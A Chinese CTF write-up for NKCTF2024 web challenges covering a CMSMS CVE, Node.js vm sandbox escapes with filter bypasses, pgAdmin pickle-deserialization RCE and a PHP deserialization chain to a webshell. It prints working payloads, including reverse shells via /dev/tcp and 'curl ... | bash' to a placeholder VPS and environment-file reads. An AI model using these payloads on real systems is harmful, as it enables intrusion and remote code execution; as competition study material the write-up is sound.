NKCTF2024-web-wp

看一半看渗透去了,没打完...

my first cms

CMSMS的CVE。

看到下面的version是2.2.19,直接搜到CVE-2024-27622,但是写的是SSTI,这个作者还写了个RCE:

capture0x/CMSMadeSimple (github.com)

然后一步步来就行,登录是弱密码Admin123,难绷的是我top19623都跑不出来,字典真该换了...

没啥含金量,进去就RCE了。

全世界最简单的CTF

Nodejs沙箱逃逸。

这里访问/secret可以看到源码,而且vm沙箱逃逸比vm2好绕一点:

const express = require('express'); 
const bodyParser = require('body-parser'); 
const app = express(); 
const fs = require("fs"); 
const path = require('path');
const vm = require("vm"); 

app.use(bodyParser.json()).set('views', path.join(__dirname, 'views')).use(express.static(path.join(__dirname, '/public'))) 

app.get('/', function (req, res){ res.sendFile(__dirname + '/public/home.html'); }) 

function waf(code) 
{ 
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g; 

    if(code.match(pattern))
    { 
        throw new Error("what can I say? hacker out!!"); 
    } 
} 
    app.post('/', function (req, res)
    { 
        let code = req.body.code; 
        let sandbox = Object.create(null); 
        let context = vm.createContext(sandbox); 
        try { 
        waf(code) 
        let result = vm.runInContext(code, context); 

        console.log(result); 
    } 
        catch (e){ 
            console.log(e.message); require('./hack'); } 
        })

    app.get('/secret', function (req, res)
    { 
        if(process.__filename == null) 
        { 
            let content = fs.readFileSync(__filename, "utf-8"); 
            return res.send(content); } 
            else 
            { 
                let content = fs.readFileSync(process.__filename, "utf-8"); 
                return res.send(content); } }) 

    app.listen(3000, ()=>{ console.log("listen on 3000"); }) 

黑名单瞩目,process、exec、spawn、Buffer、+、\、concat、eval、Function还有中括号都给ban了。

题目如果没黑名单,应该这么写:

throw new Proxy({}, {
     get: function(){
         const c = arguments.callee.caller;
         const p = (c.constructor.constructor('return process'))();
         return p.mainModule.require('child_process').execSync('whoami').toString();
    }
})

而且细看源码

let sandbox = Object.create(null); 

这里上下文对象的原型链设置为null,这时沙箱在通过this.constructor,就会无法完成沙盒逃逸。

但可以用arguments.callee.caller绕过和Proxy代理绕过。

参考:NodeJS VM沙箱逃逸_let sandbox = object.create(null); let context = v-CSDN博客

NodeJS VM和VM2沙箱逃逸 - 先知社区 (aliyun.com)

比如这里官方的做法是原型链污染:

payload:

throw new Proxy({}, {
    get: function(){
        const cc = arguments.callee.caller;
        cc.__proto__.__proto__.data = {"name": "./hack", "exports":"./shell.js"};
        cc.__proto__.__proto__.path = "/app";
        cc.__proto__.__proto__.command = "bash -c 'bash -i >& /dev/tcp/vps/port 0>&1'";
    }
})

但是这里的command确实有点想不到,这里我看了看其他人的wp,第一名laogong队用到了replace,算是非预期吧,但是很自然:

throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc.constructor.constructor('return procBess'.replace('B','')))();
            const obj = p.mainModule.require('child_procBess'.replace('B',''));
            const ex = Object.getOwnPropertyDescriptor(obj, 'exeicSync'.replace('i',''));
            return ex.value('whoami').toString();
        }
    })

他们用replace绕开了process和exec这两大ban点,直接执行就完事了,tql。

Z3r4y师傅:

throw new Proxy({}, {
     get: function(){
        const content = `;)"'}i-,hsab{|}d-,46esab{|}d-,46esab{|}9UkaKtSQEl0MNpXT4hTeNpHNp5keFpGT5lkaNVXUq1Ee4M0YqJ1MMJjVHpldBlmSrE0UhRXQDFmeG1WW,ohce{' c- hsab"(cexe;)"ssecorp_dlihc"(eriuqer = } cexe { tsnoc`;
        const reversedContent = content.split('').reverse().join('');    
         const c = arguments.callee.caller;
         const p = (c.constructor.constructor(`${`${`return proces`}s`}`))();
         p.mainModule.require('fs').writeFileSync('/tmp/test1.js', reversedContent);
        return p.mainModule.require(`${`${`child_proces`}s`}`).fork('/tmp/test1.js').toString();
    }
})

他的解释:

也算很6的奇技淫巧。

gxn师傅用了toLowerCase()函数来绕过部分,然后利用反射调用的方式来获取exec,跟我自己的思路很像:

throw new Proxy({}, {
  get: function(){
  const cc = arguments.callee.caller;
   const aa = 'return Process'.toLowerCase();
   const bb = 'child_pRocess'.toLowerCase();
   const p = (cc.constructor.constructor(aa))().mainModule.require(bb);
    return Reflect.get(Reflect.get(p, Reflect.ownKeys(p).find(x=>x.startsWith('ex')))('ls'));
  }
})

我当时想到的是十六进制绕过+reflect反射绕过,但源码找不到了,思路来自于:nodejs中代码执行绕过的一些技巧-安全客 - 安全资讯平台 (anquanke.com)

总之这道题看似ban了很多,但是还是手下留情了hhh。

attack_tacooooo

登录给了邮箱,密码开始不知道咋登,试了试这个tacooooo结果进去了.....

参考:

Shielder - pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)

【漏洞通告】pgAdmin4反序列化代码执行漏洞(CVE-2024-2044)-启明星辰 (venustech.com.cn)

跟着步骤做,然后直接打pickle反序列化,因为题目说没有curl和bash,考虑不出网,那就把环境变量写进文件:

import struct
import pickle
import sys
import base64

class RCE(object):
    def __reduce__(self):
        return (eval,("__import__('os').system('cat /proc/1/environ > /var/lib/pgadmin/storage/tacooooo_qq.com/1.txt')",))
poc = RCE()
result = pickle.dumps(poc)
if __name__ == '__main__':
    with open('C:\\Users\\75279\\Desktop\\posix.pickle', 'wb') as f:
        f.write(result)

路径是bp抓包上传得到的上传文件的路径。

上传posix.pickle后然后修改cookie:

pga4_session=/var/lib/pgadmin/storage/tacooooo_qq.com/posix.pickle!+DrpP6qW8K+12X2dzDyM0fdW/0o6ePTPKEZYaF4sr7s=;

发包后读flag就行了(用的gxn师傅的图)

用过就是熟悉

php代码审计,本质上还是个反序列化。

其实没啥难的,但是我是懒勾,看一半润了呃呃,就没做出来。

首先是看到个unserialize,大致有底了:

藏得挺深的,看这个确实需要点耐心的。

这里直接过一下整体的链子吧,入口是Windows.php::__destruct():

调用了removeFiles()函数,我们跟进一下:

可以看到这里会把$this->files当成字符串拼接,可以触发__toString()。

而这个__toString()位于Collection.php:

跟进toJson():

调用了toArray(),再跟进:

继续跟进items->Loginout,失败了,这里也有红下划线报错,也就是说这里调用了一个不可访问的属性,可以触发View.php::__get():

而这里Loginsubmit()找不到了,也就是说可以实现调用不可访问的函数,触发Testone.php::__call()。

而这里确实有一个hint,路径应该对了。

当然,正在做题的时候,这样正向推很难,因为有很多混淆项,一般来说是看到hint往回推,这里方便找链子便事后诸葛亮一下吧hhhh

我们注意到文件名是以时间戳的md5以后重新生成的,那么我们不断发包爆破即可,这里用了laogong队的MD5条件竞争卡hint:

import hashlib
import time
import requests

t = 1711177055
url = "http://5f9e4285-0d6a-41e4-8727-bb3d953aebd4.node.nkctf.yuzhian.com.cn/app/controller/user/think/"
# 遍历列表中的每个数字
while True:
    t = t + 1
    number_str = str(t).encode('utf-8')
    hash_object = hashlib.md5(number_str)
    md5_hash = hash_object.hexdigest()
    

    res = requests.get(url=url+md5_hash)
    time.sleep(1)
    print(f"{md5_hash} : f{len(res.text)}")
    print(res.text)

gxn师傅的:

import time
import hashlib
import requests
url="http://7f18d7c7-788d-4e80-9626-ecdadda7673e.node.nkctf.yuzhian.com.cn/app/controller/user/think/"
while(1):
 a = str(int(time.time())).encode('utf-8')
 hash_object = hashlib.md5(a)
 md5_hash = hash_object.hexdigest()
 #print(url+md5_hash)
 re1=requests.get(url+md5_hash)
 print(url+md5_hash)
 if 'kodbox' not in re1.text:
  print(re1.text)
  break

poc链:

<?php

namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;

class Collection {
    public $item;
}
namespace think\process\pipes;

use PHPEMS\item_weixin;
use think\Collection;
use think\Process;

class Windows {
    public $files;
}

namespace think;

class View
{
    public $data;
    public $engine;
}


namespace think;

use think\exception\ClassNotFoundException;
use think\response\Redirect;

class Debug extends Testone
{

}
namespace think;
abstract class Testone
{

}
use think\process\pipes\Windows;
$A = new \think\process\pipes\Windows();
$A -> files = array(new \think\Collection());
$A -> files[0]-> items = new \think\View();
$A -> files[0]-> items->data= array("loginout"=>new \think\Debug());
$A -> files[0]-> items->engine = array("time"=>"10086");
echo base64_encode(serialize($A));

然后是一段情书(难绷):

亲爱的Chu0,

我怀着一颗激动而充满温柔的心,写下这封情书,希望它能够传达我对你的深深情感。或许这只是一封文字,但我希望每一个字都能如我心情般真挚。

在这个瞬息万变的世界里,你是我生命中最美丽的恒定。每一天,我都被你那灿烂的笑容和温暖的眼神所吸引,仿佛整个世界都因为有了你而变得更加美好。你的存在如同清晨第一缕阳光,温暖而宁静。

或许,我们之间存在一种特殊的联系,一种只有我们两个能够理解的默契。



<<<<<<<<我曾听说,密码的明文,加上心爱之人的名字(Chu0),就能够听到游客的心声。>>>>>>>>



而我想告诉你,你就是我心中的那个游客。每一个与你相处的瞬间,都如同解开心灵密码的过程,让我更加深刻地感受到你的独特魅力。

你的每一个微笑,都是我心中最美丽的音符;你的每一句关心,都是我灵魂深处最温暖的拥抱。在这个喧嚣的世界中,你是我安静的港湾,是我倚靠的依托。我珍视着与你分享的每一个瞬间,每一段回忆都如同一颗珍珠,串联成我生命中最美丽的项链。

或许,这封情书只是文字的表达,但我愿意将它寄予你,如同我内心深处对你的深深情感。希望你能感受到我的真挚,就如同我每一刻都在努力解读心灵密码一般。愿我们的故事能够继续,在这段感情的旅程中,我们共同书写属于我们的美好篇章。



POST /?user/index/loginSubmit HTTP/1.1
Host: 192.168.128.2
Content-Length: 162
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.128.2
Referer: http://192.168.128.2/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: kodUserLanguage=zh-CN; CSRF_TOKEN=xxx
Connection: close

name=guest&password=tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI&rememberPassword=0&salt=1&CSRF_TOKEN=xxx&API_ROUTE=user%2Findex%2FloginSubmit

hint: 新建文件

这里laogong队直接吐槽:“guest的密码数据库就有,还用你说。。。”

当然这里hint还是有用的,就是提示我们guest的密码就是明文+Chu0,但要去本地调试才能拿到。

不如去db.sql数据库直接找到密码:

970> INSERT INTO `system_log` VALUES (377, '2c5e224cb2b5aaab51e3f43ff7595ebb', 2, 'admin.member.edit', '{\"userID\":\"2\",\"name\":\"guest\",\"roleID\":\"1\",\"email\":\"\",\"phone\":\"\",\"nickName\":\"guest\",\"avatar\":\"\",\"sex\":\"1\",\"sizeMax\":\"2\",\"sizeUse\":\"2072\",\"status\":\"1\",\"lastLogin\":\"1709790070\",\"modifyTime\":\"1709804480\",\"createTime\":\"1709036345\",\"groupInfo\":\"{\\\"1\\\":\\\"5\\\"}\",\"jobInfo\":\"[]\",\"sourceInfo\":\"{\\\"sourceID\\\":\\\"17\\\",\\\"size\\\":\\\"1806\\\"}\",\"password\":\"!@!@!@!@NKCTFChu0\",\"addMore\":\"more\",\"_change\":{\"password\":\"!@!@!@!@NKCTFChu0\"},\"ip\":\"::1\"}', 1709873243);

其实就是

guest//!@!@!@!@NKCTFChu0

登进去后是最新版的可道云,就不考虑本身存在的漏洞了,在回收站找到一个新建文件.html的文件,里面提示var/www/html/data/files/shell这里有个一句话木马,那么就想办法包含这个文件,在think\Config.php中找到__call:

这里过滤其实没啥用,直接文件包含就行了:

<?php

namespace think;

use ArrayAccess;
use ArrayIterator;
use Countable;
use IteratorAggregate;
use JsonSerializable;

class Collection {
    public $items;
}
namespace think\process\pipes;

use PHPEMS\item_weixin;
use think\Collection;
use think\Process;

class Windows {
    public $files;
}

namespace think;

class View
{
    public $data;
    public $engine;
}

namespace think;
class Config{
}
use think\process\pipes\Windows;
$A = new \think\process\pipes\Windows();
$A -> files = array(new \think\Collection());
$A -> files[0]-> items = new \think\View();
$A -> files[0]-> items->data= array("Loginout"=>new \think\Config());
$A -> files[0]-> items->engine = array("name"=>"../../../../../../../../../var/www/html/data/files/shell");
echo base64_encode(serialize($A));

发包反弹shell:

POST /?user/index/loginSubmit HTTP/1.1
Host: 4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 524
Origin: http://4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn
Connection: close
Referer: http://4c25fbb5-d81b-42e6-9e50-68bc971f9737.node.nkctf.yuzhian.com.cn/
Cookie: KOD_SESSION_ID=64c270bccb5c05527633e83a39335ff8; CSRF_TOKEN=7G373pfZFetxc4CY

name=guest&password=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjU6ImZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjU6Iml0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjQ6ImRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMjoidGhpbmtcQ29uZmlnIjowOnt9fXM6NjoiZW5naW5lIjthOjE6e3M6NDoibmFtZSI7czo1NjoiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3d3dy9odG1sL2RhdGEvZmlsZXMvc2hlbGwiO319fX19&rememberPassword=0&salt=1&CSRF_TOKEN=7G373pfZFetxc4CY&API_ROUTE=user%2Findex%2FloginSubmit&0=system('curl http://vps:port/1.html|bash');

总之,审计是很烦,能做下来的确实坐的住。

 
参考:
posted @ 2024-03-25 15:15  Eddie_Murphy  阅读(245)  评论(0编辑  收藏  举报